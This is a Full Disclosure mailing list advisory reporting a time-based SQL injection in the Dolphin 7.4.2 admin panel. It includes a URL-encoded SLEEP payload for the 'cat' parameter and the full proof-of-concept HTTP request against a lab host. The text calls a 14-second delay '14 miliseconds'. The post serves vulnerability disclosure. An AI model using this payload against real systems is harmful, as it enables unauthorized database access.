Full Disclosure mailing list archives

From: Andrey Stoykov <mwebsec () gmail com>
Date: Fri, 21 Mar 2025 18:02:34 +0000

# Exploit Title: SQL Injection in Admin Functionality - dolphin.prov7.4.2
# Date: 03/2025
# Exploit Author: Andrey Stoykov
# Version: 7.4.2
# Date: 03/2025
# Tested on: Debian 12
# Blog:
https://msecureltd.blogspot.com/2025/03/friday-fun-pentest-series-21-sql.html


SQL Injection in Admin Functionality:

Steps to Reproduce:

1. Login as admin user and visit the page of "
http://192.168.58.170/dolphinCMS/administration/index.php?cat=";
2. Add the MySQL injection SLEEP payload to the "cat" value
3. Notice that the backend would delay the HTTP response for 14 miliseconds


%27%20and%20(select*from(select(sleep(14)))a)--%20


// HTTP GET Request

GET
/dolphinCMS/administration/index.php?cat=%27%20and%20(select*from(select(sleep(14)))a)--%20
HTTP/1.1
Host: 192.168.58.170
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:137.0)
Gecko/20100101 Firefox/137.0
[...]


// HTTP Response

HTTP/1.1 200 OK
Date: Thu, 20 Mar 2025 22:55:46 GMT
Server: Apache/2.4.38 (Win64) OpenSSL/1.0.2q PHP/5.6.40
X-Powered-By: PHP/5.6.40
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html; charset=utf-8
Content-Length: 55510
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/

Current thread:

• SQL Injection in Admin Functionality - dolphin.prov7.4.2 Andrey Stoykov (Mar 24)